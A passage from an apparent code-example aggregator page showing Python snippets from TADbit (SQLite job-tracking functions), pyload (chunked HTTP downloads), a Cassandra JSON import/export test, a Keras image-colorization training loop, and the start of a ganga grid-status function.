    cmd += " ILLUMINACLIP:{0}:2:30:10".format(adaptersfile)

    if not opts.adapteronly:
        cmd += " LEADING:3 TRAILING:3"
        cmd += " SLIDINGWINDOW:4:{0}".format(opts.minqv)

    cmd += " MINLEN:{0}".format(opts.minlen)

    if offset != 33:
        cmd += " TOPHRED33"
    sh(cmd)

Example 112

Project: TADbit
Source File: tadbit_merge.py
View license
def save_to_db(opts, mreads1, mreads2, decay_corr_dat, decay_corr_fig,
               nbad_columns, ncolumns, nreads,
               eigen_corr_dat, eigen_corr_fig, outbed, corr, eig_corr,
               biases1, bad_co1, biases2, bad_co2, launch_time, finish_time):
    if 'tmpdb' in opts and opts.tmpdb:
        # check lock
        while path.exists(path.join(opts.workdir, '__lock_db')):
            time.sleep(0.5)
        # close lock
        open(path.join(opts.workdir, '__lock_db'), 'a').close()
        # tmp file
        dbfile = opts.tmpdb
        try: # to copy in case read1 was already mapped for example
            copyfile(path.join(opts.workdir, 'trace.db'), dbfile)
        except IOError:
            pass
    else:
        dbfile = path.join(opts.workdir, 'trace.db')
    con = lite.connect(dbfile)
    with con:
        cur = con.cursor()
        cur.execute("""SELECT name FROM sqlite_master WHERE
                       type='table' AND name='MERGE_OUTPUTs'""")
        if not cur.fetchall():
            cur.execute("""
            create table PATHs
               (Id integer primary key,
                JOBid int, Path text, Type text,
                unique (Path))""")
            cur.execute("""
            create table JOBs
               (Id integer primary key,
                Parameters text,
                Launch_time text,
                Finish_time text,
                Type text,
                Parameters_md5 text,
                unique (Parameters_md5))""")
            cur.execute("""
            create table FILTER_OUTPUTs
               (Id integer primary key,
                PATHid int,
                Name text,
                Count int,
                JOBid int,
                unique (PATHid))""")
            cur.execute("""
            create table MERGE_OUTPUTs
               (Id integer primary key,
                JOBid int,
                Wrkd1Path int,
                Wrkd2Path int,
                Bed1Path int,
                Bed2Path int,
                MergePath int,
                unique (JOBid))""")
            cur.execute("""
            create table MERGE_STATs
               (Id integer primary key,
                JOBid int,
                Inputs text,
                decay_corr text,
                eigen_corr text,
                N_columns int,
                N_filtered int,
                Resolution int,
                bias1Path int,
                bads1Path int,
                bias2Path int,
                bads2Path int,
                unique (JOBid))""")
        try:
            parameters = digest_parameters(opts, get_md5=False)
            param_hash = digest_parameters(opts, get_md5=True )
            cur.execute("""
            insert into JOBs
            (Id  , Parameters, Launch_time, Finish_time, Type   , Parameters_md5)
            values
            (NULL,       '%s',        '%s',        '%s', 'Merge',           '%s')
            """ % (parameters,
                   time.strftime("%d/%m/%Y %H:%M:%S", launch_time),
                   time.strftime("%d/%m/%Y %H:%M:%S", finish_time), param_hash))
        except lite.IntegrityError:
            pass

        jobid = get_jobid(cur)
        add_path(cur, decay_corr_dat, 'CORR'      , jobid, opts.workdir)
        add_path(cur, decay_corr_fig, 'FIGURE'    , jobid, opts.workdir)
        add_path(cur, eigen_corr_dat, 'CORR'      , jobid, opts.workdir)
        add_path(cur, eigen_corr_fig, 'FIGURE'    , jobid, opts.workdir)

        add_path(cur, opts.workdir , 'WORKDIR'    , jobid)
        add_path(cur, opts.workdir1, 'WORKDIR1'   , jobid, opts.workdir)
        add_path(cur, opts.workdir2, 'WORKDIR2'   , jobid, opts.workdir)
        add_path(cur, mreads1      , '2D_BED'     , jobid, opts.workdir)
        add_path(cur, mreads2      , '2D_BED'     , jobid, opts.workdir)
        add_path(cur, outbed       , '2D_BED'     , jobid, opts.workdir)

        if opts.norm:
            add_path(cur, biases1      , 'BIASES'     , jobid, opts.workdir)
            add_path(cur, bad_co1      , 'BAD_COLUMNS', jobid, opts.workdir)
            add_path(cur, biases2      , 'BIASES'     , jobid, opts.workdir)
            add_path(cur, bad_co2      , 'BAD_COLUMNS', jobid, opts.workdir)

            badsid1 = get_path_id(cur, bad_co1, opts.workdir)
            biasid1 = get_path_id(cur, biases1, opts.workdir)
            badsid2 = get_path_id(cur, bad_co2, opts.workdir)
            biasid2 = get_path_id(cur, biases2, opts.workdir)
        else:
            badsid1 = 0
            biasid1 = 0
            badsid2 = 0
            biasid2 = 0
        
        cur.execute("select id from paths where path = '%s'" % (
            path.relpath(mreads1, opts.workdir)))
        bed1 = cur.fetchall()[0][0]
        if opts.workdir1:
            cur.execute("select id from paths where path = '%s'" % (
                path.relpath(opts.workdir1, opts.workdir)))
            w1path = cur.fetchall()[0][0]
        else:
            w1path = 0
        cur.execute("select id from paths where path = '%s'" % (
            path.relpath(mreads2, opts.workdir)))
        bed2 = cur.fetchall()[0][0]
        if opts.workdir2:
            cur.execute("select id from paths where path = '%s'" % (
                path.relpath(opts.workdir2, opts.workdir)))
            w2path = cur.fetchall()[0][0]
        else:
            w2path = 0
        cur.execute("select id from paths where path = '%s'" % (
            path.relpath(outbed, opts.workdir)))
        outbedid = cur.fetchall()[0][0]
        if not opts.skip_comparison:
            decay_corr = '-'.join(['%.1f' % (v)
                                   for v in corr[:10:2]]).replace('0.', '.')
            eigen_corr = '-'.join(['%.2f' % (max(v))
                                   for v in eig_corr[:4]]).replace('0.', '.')
        else:
            decay_corr = eigen_corr = None
        cur.execute("""
        insert into MERGE_OUTPUTs
        (Id  , JOBid, Wrkd1Path, Wrkd2Path, Bed1Path, Bed2Path, MergePath)
        values
        (NULL,    %d,        %d,        %d,       %d,       %d,        %d)
        """ % (jobid,    w1path,    w2path,     bed1,     bed2,  outbedid))

        if not opts.skip_comparison:    
            cur.execute("""
            insert into MERGE_STATs
            (Id  , JOBid, N_columns,   N_filtered, Resolution, decay_corr, eigen_corr, bias1Path, bads1Path, bias2Path, bads2Path)
            values
            (NULL,    %d,        %d,           %d,         %d,       '%s',       '%s',        %d,        %d,        %d,        %d)
            """ % (jobid,  ncolumns, nbad_columns, opts.reso , decay_corr, eigen_corr,   biasid1,   badsid1,   biasid2,   badsid2))
                
        masked1 = {'valid-pairs': {'count': nreads}}
        if opts.workdir1:
            if 'tmpdb' in opts and opts.tmpdb:
                # tmp file
                dbfile1 = opts.tmpdb1
                try: # to copy in case read1 was already mapped for example
                    copyfile(path.join(opts.workdir1, 'trace.db'), dbfile1)
                except IOError:
                    pass
            else:
                dbfile1 = path.join(opts.workdir1, 'trace.db')
            tmpcon = lite.connect(dbfile1)
            with tmpcon:
                tmpcur = tmpcon.cursor()
                tmpcur.execute("select Name, PATHid, Count from filter_outputs")
                for name, pathid, count in tmpcur.fetchall():
                    res = tmpcur.execute("select Path from PATHs where Id = %d" % (pathid))
                    tmppath = res.fetchall()[0][0]
                    masked1[name] = {'path': tmppath, 'count': count}
            if 'tmpdb' in opts and opts.tmpdb:
                remove(dbfile1)
        masked2 = {'valid-pairs': {'count': 0}}
        if opts.workdir2:
            if 'tmpdb' in opts and opts.tmpdb:
                # tmp file
                dbfile2 = opts.tmpdb2
                try: # to copy in case read2 was already mapped for example
                    copyfile(path.join(opts.workdir2, 'trace.db'), dbfile2)
                except IOError:
                    pass
            else:
                dbfile2 = path.join(opts.workdir2, 'trace.db')
            tmpcon = lite.connect(dbfile2)
            with tmpcon:
                tmpcur = tmpcon.cursor()
                tmpcur.execute("select Name, PATHid, Count from filter_outputs")
                for name, pathid, count in tmpcur.fetchall():
                    res = tmpcur.execute("select Path from PATHs where Id = %d" % (pathid))
                    tmppath = res.fetchall()[0][0]
                    masked2[name] = {'path': tmppath, 'count': count}
            if 'tmpdb' in opts and opts.tmpdb:
                remove(dbfile2)

        for f in masked1:
            if f  != 'valid-pairs':
                outmask = path.join(opts.workdir, '03_filtered_reads',
                                    'all_r1-r2_intersection_%s.tsv_%s.tsv' % (
                    param_hash, f))
                out = open(outmask, 'w')
                for line in open(path.join(opts.workdir1, masked1[f]['path'])):
                    out.write(line)
                for line in open(path.join(opts.workdir2, masked2[f]['path'])):
                    out.write(line)
                add_path(cur, outmask, 'FILTER', jobid, opts.workdir)
            else:
                outmask = outbed

            cur.execute("""
            insert into FILTER_OUTPUTs
            (Id  , PATHid, Name, Count, JOBid)
            values
            (NULL,     %d, '%s',  '%s',    %d)
            """ % (get_path_id(cur, outmask, opts.workdir),
                   f, masked1[f]['count'] + masked2[f]['count'], jobid))

        print_db(cur, 'PATHs')
        print_db(cur, 'JOBs')
        print_db(cur, 'MERGE_OUTPUTs')
        print_db(cur, 'MERGE_STATs')
        print_db(cur, 'FILTER_OUTPUTs')

    if 'tmpdb' in opts and opts.tmpdb:
        # copy back file
        copyfile(dbfile, path.join(opts.workdir, 'trace.db'))
        remove(dbfile)
    # release lock
    try:
        remove(path.join(opts.workdir, '__lock_db'))
    except OSError:
        pass

Example 113

Project: TADbit
Source File: tadbit_model.py
View license
def save_to_db(opts, outdir, results, batch_job_hash, 
               launch_time, finish_time):
    if 'tmpdb' in opts and opts.tmpdb:
        # check lock
        while path.exists(path.join(opts.workdir, '__lock_db')):
            time.sleep(0.5)
        # close lock
        open(path.join(opts.workdir, '__lock_db'), 'a').close()
        # tmp file
        dbfile = opts.tmpdb
        try:  # to copy in case read1 was already mapped for example
            copyfile(path.join(opts.workdir, 'trace.db'), dbfile)
        except IOError:
            pass
    else:
        dbfile = path.join(opts.workdir, 'trace.db')

    con = lite.connect(dbfile)
    with con:
        cur = con.cursor()
        cur.execute("""SELECT name FROM sqlite_master WHERE
                       type='table' AND name='JOBs'""")
        if not cur.fetchall():
            cur.execute("""
            create table PATHs
               (Id integer primary key,
                JOBid int, Path text, Type text,
                unique (Path))""")
            cur.execute("""
            create table JOBs
               (Id integer primary key,
                Parameters text,
                Launch_time text,
                Finish_time text,
                Type text,
                Parameters_md5 text,
                unique (Parameters_md5))""")
        cur.execute("""SELECT name FROM sqlite_master WHERE
                       type='table' AND name='MODELED_REGIONs'""")
        if not cur.fetchall():
            cur.execute("""
        create table MODELED_REGIONs
           (Id integer primary key,
            PATHid int,
            PARAM_md5 text,
            RESO int,
            BEG int,
            END int,
            unique (PARAM_md5))""")
        cur.execute("""SELECT name FROM sqlite_master WHERE
                       type='table' AND name='MODELs'""")
        if not cur.fetchall():
            cur.execute("""
        create table MODELs
           (Id integer primary key,
            REGIONid int,
            JOBid int,
            OPTPAR_md5 text,
            MaxDist int,
            UpFreq int,
            LowFreq int,
            Scale int,
            Cutoff int,
            Nmodels int,
            Kept int,
            Correlation int)""")
        try:
            parameters = digest_parameters(opts, get_md5=False)
            # In case optimization or modeling  is split in different computers
            param_hash = digest_parameters(opts, get_md5=True)
            cur.execute("""
    insert into JOBs
     (Id  , Parameters, Launch_time, Finish_time,    Type, Parameters_md5)
    values
     (NULL,       '%s',        '%s',        '%s',    '%s',           '%s')
     """ % ((parameters, time.strftime("%d/%m/%Y %H:%M:%S", launch_time),
             time.strftime("%d/%m/%Y %H:%M:%S", finish_time),
             (('PRE_' if opts.job_list else '') +
              ('OPTIM' if opts.optimize else 'MODEL')), param_hash)))
        except lite.IntegrityError:
            pass
        ##### STORE OPTIMIZATION RESULT
        jobid = get_jobid(cur)
        add_path(cur, outdir, 'DIR', jobid, opts.workdir)
        pathid = get_path_id(cur, outdir, opts.workdir)
        # models = compile_models(opts, outdir, exp=exp, ngood=opts.nkeep)
        ### STORE GENERAL OPTIMIZATION INFO
        try:
            cur.execute("""
            insert into MODELED_REGIONs
            (Id  , PATHid, PARAM_md5, RESO, BEG, END)
            values
            (NULL,     %d,      "%s",   %d,  %d,  %d)
            """ % (pathid, batch_job_hash, opts.reso,
                   opts.beg, opts.end))
        except lite.IntegrityError:
            pass
        ### STORE EACH OPTIMIZATION
        cur.execute("SELECT Id from MODELED_REGIONs where PARAM_md5='%s'" % (
            batch_job_hash))
        optimid = cur.fetchall()[0][0]
        for m, u, l, d, s in results:
            optpar_md5 = md5('%s%s%s%s%s' %
                             (m, u, l, d, s)).hexdigest()[:12]
            cur.execute(("SELECT Id from MODELs where "
                         "OPTPAR_md5='%s' and REGIONid='%s'") % (
                             optpar_md5, optimid))
            if not cur.fetchall():
                cur.execute("""
                insert into MODELs
                (Id  , REGIONid, JOBid, OPTPAR_md5, MaxDist, UpFreq, LowFreq, Cutoff, Scale, Nmodels, Kept, Correlation)
                values
                (NULL,             %d,    %d,      '%s',      %s,     %s,      %s,     %s,    %s,      %d,   %d,          %f)
                """ % ((optimid, jobid, optpar_md5, m, u, l, d, s,
                        results[(m, u, l, d, s)]['nmodels'],
                        results[(m, u, l, d, s)]['kept'],
                        results[(m, u, l, d, s)]['corr'])))
            else:
                cur.execute(("update MODELs "
                             "set Nmodels = %d, Kept = %d, Correlation = %f "
                             "where "
                             "OPTPAR_md5='%s' and REGIONid='%s'") % (
                                 results[(m, u, l, d, s)]['nmodels'],
                                 results[(m, u, l, d, s)]['kept'],
                                 results[(m, u, l, d, s)]['corr'],
                                 optpar_md5, optimid))

        ### MODELING
        if not opts.optimization_id:
            cur.execute("SELECT Id from MODELED_REGIONs")
            optimid = cur.fetchall()[0]
            if len(optimid) > 1:
                raise IndexError("ERROR: more than 1 optimization in folder "
                                 "choose with 'tadbit describe' and "
                                 "--optimization_id")
            optimid = optimid[0]
        else:
            cur.execute("SELECT Id from MODELED_REGIONs where Id=%d" % (
                opts.optimization_id))
            optimid = cur.fetchall()[0][0]
        
    if 'tmpdb' in opts and opts.tmpdb:
        # copy back file
        copyfile(dbfile, path.join(opts.workdir, 'trace.db'))
        remove(dbfile)
    # release lock
    try:
        remove(path.join(opts.workdir, '__lock_db'))
    except OSError:
        pass

Example 114

Project: pyload
Source File: HTTPDownload.py
View license
    def _download(self, chunks, resume):
        if not resume:
            self.info.clear()
            self.info.addChunk("%s.chunk0" % self.filename, (0, 0)) #create an initial entry

        self.chunks = []

        init = HTTPChunk(0, self, None, resume) #initial chunk that will load complete file (if needed)

        self.chunks.append(init)
        self.m.add_handle(init.getHandle())

        lastFinishCheck = 0
        lastTimeCheck = 0
        chunksDone = set()  # list of curl handles that are finished
        chunksCreated = False
        done = False
        if self.info.getCount() > 1: # This is a resume, if we were chunked originally assume still can
            self.chunkSupport = True

        while 1:
            #need to create chunks
            if not chunksCreated and self.chunkSupport and self.size: #will be setted later by first chunk

                if not resume:
                    self.info.setSize(self.size)
                    self.info.createChunks(chunks)
                    self.info.save()

                chunks = self.info.getCount()

                init.setRange(self.info.getChunkRange(0))

                for i in range(1, chunks):
                    c = HTTPChunk(i, self, self.info.getChunkRange(i), resume)

                    handle = c.getHandle()
                    if handle:
                        self.chunks.append(c)
                        self.m.add_handle(handle)
                    else:
                        #close immediatly
                        self.log.debug("Invalid curl handle -> closed")
                        c.close()

                chunksCreated = True

            while 1:
                ret, num_handles = self.m.perform()
                if ret != pycurl.E_CALL_MULTI_PERFORM:
                    break

            t = time()

            # reduce these calls
            while lastFinishCheck + 0.5 < t:
                # list of failed curl handles
                failed = []
                ex = None # save only last exception, we can only raise one anyway

                num_q, ok_list, err_list = self.m.info_read()
                for c in ok_list:
                    chunk = self.findChunk(c)
                    try: # check if the header implies success, else add it to failed list
                        chunk.verifyHeader()
                    except BadHeader, e:
                        self.log.debug("Chunk %d failed: %s" % (chunk.id + 1, str(e)))
                        failed.append(chunk)
                        ex = e
                    else:
                        chunksDone.add(c)

                for c in err_list:
                    curl, errno, msg = c
                    chunk = self.findChunk(curl)
                    #test if chunk was finished
                    if errno != 23 or "0 !=" not in msg:
                        failed.append(chunk)
                        ex = pycurl.error(errno, msg)
                        self.log.debug("Chunk %d failed: %s" % (chunk.id + 1, str(ex)))
                        continue

                    try: # check if the header implies success, else add it to failed list
                        chunk.verifyHeader()
                    except BadHeader, e:
                        self.log.debug("Chunk %d failed: %s" % (chunk.id + 1, str(e)))
                        failed.append(chunk)
                        ex = e
                    else:
                        chunksDone.add(curl)
                if not num_q: # no more infos to get

                    # check if init is not finished so we reset download connections
                    # note that other chunks are closed and downloaded with init too
                    if failed and init not in failed and init.c not in chunksDone:
                        self.log.error(_("Download chunks failed, fallback to single connection | %s" % (str(ex))))

                        #list of chunks to clean and remove
                        to_clean = filter(lambda x: x is not init, self.chunks)
                        for chunk in to_clean:
                            self.closeChunk(chunk)
                            self.chunks.remove(chunk)
                            remove(fs_encode(self.info.getChunkName(chunk.id)))

                        #let first chunk load the rest and update the info file
                        init.resetRange()
                        self.info.clear()
                        self.info.addChunk("%s.chunk0" % self.filename, (0, self.size))
                        self.info.save()
                    elif failed:
                        raise ex

                    lastFinishCheck = t

                    if len(chunksDone) >= len(self.chunks):
                        if len(chunksDone) > len(self.chunks):
                            self.log.warning("Finished download chunks size incorrect, please report bug.")
                        done = True  #all chunks loaded

                    break

            if done:
                break #all chunks loaded

            # calc speed once per second, averaging over 3 seconds
            if lastTimeCheck + 1 < t:
                diff = [c.arrived - (self.lastArrived[i] if len(self.lastArrived) > i else 0) for i, c in
                        enumerate(self.chunks)]

                self.lastSpeeds[1] = self.lastSpeeds[0]
                self.lastSpeeds[0] = self.speeds
                self.speeds = [float(a) / (t - lastTimeCheck) for a in diff]
                self.lastArrived = [c.arrived for c in self.chunks]
                lastTimeCheck = t
                self.updateProgress()

            if self.abort:
                raise Abort()

            #sleep(0.003) #supress busy waiting - limits dl speed to  (1 / x) * buffersize
            self.m.select(1)

        for chunk in self.chunks:
            chunk.flushFile() #make sure downloads are written to disk

        self._copyChunks()

Example 115

Project: cassandra-dtest
Source File: json_tools_test.py
View license
    @known_failure(failure_source='test',
                   jira_url='https://issues.apache.org/jira/browse/CASSANDRA-11952',
                   flaky=False,
                   notes='windows')
    def json_tools_test(self):

        debug("Starting cluster...")
        cluster = self.cluster
        cluster.set_batch_commitlog(enabled=True)
        cluster.populate(1).start()

        debug("Version: " + cluster.version().vstring)

        debug("Getting CQLSH...")
        [node1] = cluster.nodelist()
        session = self.patient_cql_connection(node1)

        debug("Inserting data...")
        create_ks(session, 'Test', 1)

        session.execute("""
            CREATE TABLE users (
                user_name varchar PRIMARY KEY,
                password varchar,
                gender varchar,
                state varchar,
                birth_year bigint
            );
        """)

        session.execute("INSERT INTO Test. users (user_name, password, gender, state, birth_year) VALUES('frodo', '[email protected]', 'male', 'CA', 1985);")
        session.execute("INSERT INTO Test. users (user_name, password, gender, state, birth_year) VALUES('sam', '@pass', 'male', 'NY', 1980);")

        res = session.execute("SELECT * FROM Test. users")

        self.assertItemsEqual(rows_to_list(res),
                              [[u'frodo', 1985, u'male', u'[email protected]', u'CA'],
                               [u'sam', 1980, u'male', u'@pass', u'NY']])

        debug("Flushing and stopping cluster...")
        node1.flush()
        cluster.stop()

        debug("Exporting to JSON file...")
        json_path = tempfile.mktemp(suffix='.schema.json')
        with open(json_path, 'w') as f:
            node1.run_sstable2json(f)

        with open(json_path, 'r') as fin:
            data = fin.read().splitlines(True)
        if data[0][0] == 'W':
            with open(json_path, 'w') as fout:
                fout.writelines(data[1:])

        debug("Deleting cluster and creating new...")
        cluster.clear()
        cluster.start()

        debug("Inserting data...")
        session = self.patient_cql_connection(node1)
        create_ks(session, 'Test', 1)

        session.execute("""
            CREATE TABLE users (
                user_name varchar PRIMARY KEY,
                password varchar,
                gender varchar,
                state varchar,
                birth_year bigint
            );
        """)

        session.execute("INSERT INTO Test. users (user_name, password, gender, state, birth_year) VALUES('gandalf', '[email protected]$$', 'male', 'WA', 1955);")
        node1.flush()
        cluster.stop()

        debug("Importing JSON file...")
        with open(json_path) as f:
            node1.run_json2sstable(f, "test", "users")
        os.remove(json_path)

        debug("Verifying import...")
        cluster.start()
        [node1] = cluster.nodelist()
        session = self.patient_cql_connection(node1)

        res = session.execute("SELECT * FROM Test. users")

        debug("data: " + str(res))

        self.assertItemsEqual(rows_to_list(res),
                              [[u'frodo', 1985, u'male', u'[email protected]', u'CA'],
                               [u'sam', 1980, u'male', u'@pass', u'NY'],
                               [u'gandalf', 1955, u'male', u'[email protected]$$', u'WA']])

Example 116

View license
def train(**kwargs):
    """
    Train model

    Load the whole train data in memory for faster operations

    args: **kwargs (dict) keyword arguments that specify the model hyperparameters
    """

    # Roll out the parameters
    batch_size = kwargs["batch_size"]
    n_batch_per_epoch = kwargs["n_batch_per_epoch"]
    nb_epoch = kwargs["nb_epoch"]
    prob = kwargs["prob"]
    training_data_file = kwargs["training_data_file"]
    experiment = kwargs["experiment"]
    epoch_size = n_batch_per_epoch * batch_size

    # Setup environment (logging directory etc)
    general_utils.setup_logging(experiment)

    # Create a batch generator for the color data
    DataAug = batch_utils.AugDataGenerator(training_data_file,
                                           batch_size=batch_size,
                                           prob=prob,
                                           dset="training_color")
    DataAug.add_transform("h_flip")

    # Load the array of quantized ab value
    q_ab = np.load("../../data/processed/pts_in_hull.npy")
    nb_q = q_ab.shape[0]
    nb_neighbors = 10
    # Fit a NN to q_ab
    nn_finder = nn.NearestNeighbors(n_neighbors=nb_neighbors, algorithm='ball_tree').fit(q_ab)

    # Load the color prior factor that encourages rare colors
    prior_factor = np.load("../../data/processed/training_64_prior_factor.npy")

    # Load and rescale data
    print("Loading data")
    with h5py.File(training_data_file, "r") as hf:
        X_train = hf["training_lab_data"][:100]
        c, h, w = X_train.shape[1:]
    print("Data loaded")

    for f in glob.glob("*.h5"):
        os.remove(f)

    for f in glob.glob("../../reports/figures/*.png"):
        os.remove(f)

    try:

        # Create optimizers
        # opt = SGD(lr=5E-4, momentum=0.9, nesterov=True)
        opt = Adam(lr=1E-4, beta_1=0.9, beta_2=0.999, epsilon=1e-08)

        # Load colorizer model
        color_model = models.load("simple_colorful", nb_q, (1, h, w), batch_size)
        color_model.compile(loss='categorical_crossentropy_color', optimizer=opt)

        color_model.summary()
        from keras.utils.visualize_util import plot
        plot(color_model, to_file='colorful.png')

        # Start training
        print("Start training")
        for e in range(nb_epoch):
            # Initialize progbar and batch counter
            progbar = generic_utils.Progbar(epoch_size)
            batch_counter = 1
            start = time.time()

            for batch in DataAug.gen_batch_colorful(X_train, nn_finder, nb_q, prior_factor):

                X_batch_black, X_batch_color, Y_batch = batch
                # X = color_model.predict(X_batch_black)

                # print color_model.evaluate(X_batch_black, Y_batch)
                # X = color_model.predict(X_batch_black)
                # print X[0, 0, 0, :]

                train_loss = color_model.train_on_batch(X_batch_black / 100., Y_batch)

                batch_counter += 1
                progbar.add(batch_size, values=[("loss", train_loss)])

                if batch_counter >= n_batch_per_epoch:
                    break
            print("")
            print('Epoch %s/%s, Time: %s' % (e + 1, nb_epoch, time.time() - start))

            # Format X_colorized
            X_colorized = color_model.predict(X_batch_black / 100.)[:, :, :, :-1]
            X_colorized = X_colorized.reshape((batch_size * h * w, nb_q))
            X_colorized = q_ab[np.argmax(X_colorized, 1)]
            X_a = X_colorized[:, 0].reshape((batch_size, 1, h, w))
            X_b = X_colorized[:, 1].reshape((batch_size, 1, h, w))
            X_colorized = np.concatenate((X_batch_black, X_a, X_b), axis=1).transpose(0, 2, 3, 1)
            X_colorized = [np.expand_dims(color.lab2rgb(im), 0) for im in X_colorized]
            X_colorized = np.concatenate(X_colorized, 0).transpose(0, 3, 1, 2)

            X_batch_color = [np.expand_dims(color.lab2rgb(im.transpose(1, 2, 0)), 0) for im in X_batch_color]
            X_batch_color = np.concatenate(X_batch_color, 0).transpose(0, 3, 1, 2)

            print X_batch_color.shape, X_colorized.shape, X_batch_black.shape

            for i, img in enumerate(X_colorized[:min(32, batch_size)]):
                arr = np.concatenate([X_batch_color[i], np.repeat(X_batch_black[i] / 100., 3, axis=0), img], axis=2)
                np.save("../../reports/gen_image_%s.npy" % i, arr)

            plt.figure(figsize=(20,20))
            list_img = glob.glob("../../reports/*.npy")
            list_img = [np.load(im) for im in list_img]
            list_img = [np.concatenate(list_img[4 * i: 4 * (i + 1)], axis=2) for i in range(len(list_img) / 4)]
            arr = np.concatenate(list_img, axis=1)
            plt.imshow(arr.transpose(1,2,0))
            ax = plt.gca()
            ax.get_xaxis().set_ticks([])
            ax.get_yaxis().set_ticks([])
            plt.tight_layout()
            plt.savefig("../../reports/figures/fig_epoch%s.png" % e)
            plt.clf()
            plt.close()

    except KeyboardInterrupt:
        pass

Example 117

Project: TADbit
Source File: tadbit_normalize.py
View license
def save_to_db(opts, cis_trans_N_D, cis_trans_N_d, cis_trans_n_D, cis_trans_n_d,
               a2, bad_columns_file, bias_file, inter_vs_gcoord, mreads,
               nbad_columns, ncolumns,
               intra_dir_nrm_fig, intra_dir_nrm_txt,
               inter_dir_nrm_fig, inter_dir_nrm_txt,
               genom_map_nrm_fig, genom_map_nrm_txt,
               intra_dir_raw_fig, intra_dir_raw_txt,
               inter_dir_raw_fig, inter_dir_raw_txt,
               genom_map_raw_fig, genom_map_raw_txt,
               pickle_path, launch_time, finish_time):
    if 'tmpdb' in opts and opts.tmpdb:
        # check lock
        while path.exists(path.join(opts.workdir, '__lock_db')):
            time.sleep(0.5)
        # close lock
        open(path.join(opts.workdir, '__lock_db'), 'a').close()
        # tmp file
        dbfile = opts.tmpdb
        try: # to copy in case read1 was already mapped for example
            copyfile(path.join(opts.workdir, 'trace.db'), dbfile)
        except IOError:
            pass
    else:
        dbfile = path.join(opts.workdir, 'trace.db')
    con = lite.connect(dbfile)
    with con:
        cur = con.cursor()
        cur.execute("""SELECT name FROM sqlite_master WHERE
                       type='table' AND name='NORMALIZE_OUTPUTs'""")
        if not cur.fetchall():
            cur.execute("""
            create table NORMALIZE_OUTPUTs
               (Id integer primary key,
                JOBid int,
                Input int,
                N_columns int,
                N_filtered int,
                CisTrans_nrm_all real,
                CisTrans_nrm_out real,
                CisTrans_raw_all real,
                CisTrans_raw_out real,
                Slope_700kb_10Mb real,
                Resolution int,
                Factor int,
                unique (JOBid))""")
        try:
            parameters = digest_parameters(opts, get_md5=False)
            param_hash = digest_parameters(opts, get_md5=True )
            cur.execute("""
            insert into JOBs
            (Id  , Parameters, Launch_time, Finish_time, Type , Parameters_md5)
            values
            (NULL,       '%s',        '%s',        '%s', 'Normalize',           '%s')
            """ % (parameters,
                   time.strftime("%d/%m/%Y %H:%M:%S", launch_time),
                   time.strftime("%d/%m/%Y %H:%M:%S", finish_time), param_hash))
        except lite.IntegrityError:
            pass
        jobid = get_jobid(cur)
        add_path(cur, pickle_path     , 'PICKLE'     , jobid, opts.workdir)
        add_path(cur, bad_columns_file, 'BAD_COLUMNS', jobid, opts.workdir)
        add_path(cur, bias_file       , 'BIASES'     , jobid, opts.workdir)
        add_path(cur, inter_vs_gcoord , 'FIGURE'     , jobid, opts.workdir)
        add_path(cur, mreads          , '2D_BED'     , jobid, opts.workdir)
        # get pathid of input
        cur.execute("select id from paths where path = '%s'" % (path.relpath(mreads, opts.workdir)))
        input_bed = cur.fetchall()[0][0]
        if intra_dir_nrm_fig:
            add_path(cur, intra_dir_nrm_fig, 'FIGURES', jobid, opts.workdir)
        if intra_dir_nrm_fig:
            add_path(cur, intra_dir_nrm_txt, 'NRM_MATRICES', jobid, opts.workdir)
        if inter_dir_nrm_fig:
            add_path(cur, inter_dir_nrm_fig, 'FIGURES', jobid, opts.workdir)
        if inter_dir_nrm_fig:
            add_path(cur, inter_dir_nrm_txt, 'NRM_MATRICES', jobid, opts.workdir)
        if genom_map_nrm_fig:
            add_path(cur, genom_map_nrm_fig, 'FIGURE', jobid, opts.workdir)
        if genom_map_nrm_txt:
            add_path(cur, genom_map_nrm_txt, 'NRM_MATRIX', jobid, opts.workdir)
        if intra_dir_raw_fig:
            add_path(cur, intra_dir_raw_fig, 'FIGURES', jobid, opts.workdir)
        if intra_dir_raw_fig:
            add_path(cur, intra_dir_raw_txt, 'RAW_MATRICES', jobid, opts.workdir)
        if inter_dir_raw_fig:
            add_path(cur, inter_dir_raw_fig, 'FIGURES', jobid, opts.workdir)
        if inter_dir_raw_fig:
            add_path(cur, inter_dir_raw_txt, 'RAW_MATRICES', jobid, opts.workdir)
        if genom_map_raw_fig:
            add_path(cur, genom_map_raw_fig, 'FIGURE', jobid, opts.workdir)
        if genom_map_raw_txt:
            add_path(cur, genom_map_raw_txt, 'RAW_MATRIX', jobid, opts.workdir)

        try:
            cur.execute("""
            insert into NORMALIZE_OUTPUTs
            (Id  , JOBid,     Input, N_columns,   N_filtered, CisTrans_nrm_all,   CisTrans_nrm_out,   CisTrans_raw_all,   CisTrans_raw_out, Slope_700kb_10Mb,   Resolution,      Factor)
            values
            (NULL,    %d,        %d,        %d,           %d,               %f,                 %f,                 %f,                 %f,               %f,           %d,          %f)
            """ % (jobid, input_bed,  ncolumns, nbad_columns,    cis_trans_N_D,      cis_trans_N_d,      cis_trans_n_D,      cis_trans_n_d,               a2,    opts.reso, opts.factor))
        except lite.OperationalError:
            try:
                cur.execute("""
                insert into NORMALIZE_OUTPUTs
                (Id  , JOBid,     Input, N_columns,   N_filtered,  CisTrans_raw_all,   CisTrans_raw_out, Slope_700kb_10Mb,   Resolution,      Factor)
                values
                (NULL,    %d,        %d,        %d,           %d,                %f,                 %f,               %f,           %d,          %f)
                """ % (jobid, input_bed,  ncolumns, nbad_columns,     cis_trans_n_D,      cis_trans_n_d,               a2,    opts.reso, opts.factor))
            except lite.OperationalError:
                print 'WANRING: Normalized table not written!!!'
            
        print_db(cur, 'PATHs')
        print_db(cur, 'JOBs')
        try:
            print_db(cur, 'INTERSECTION_OUTPUTs')        
            print_db(cur, 'MAPPED_INPUTs')
            print_db(cur, 'MAPPED_OUTPUTs')
            print_db(cur, 'PARSED_OUTPUTs')
        except lite.OperationalError:
            pass
        print_db(cur, 'FILTER_OUTPUTs')
        print_db(cur, 'NORMALIZE_OUTPUTs')
    if 'tmpdb' in opts and opts.tmpdb:
        # copy back file
        copyfile(dbfile, path.join(opts.workdir, 'trace.db'))
        remove(dbfile)
    # release lock
    try:
        remove(path.join(opts.workdir, '__lock_db'))
    except OSError:
        pass

Example 118

Project: ganga
Source File: Grid.py
View license
def status(jobids, is_collection=False):
    """Query the status of jobs on the grid"""

    if not jobids:
        return [], []

    idsfile = tempfile.mktemp('.jids')
    with open(idsfile, 'w') as ids_file:
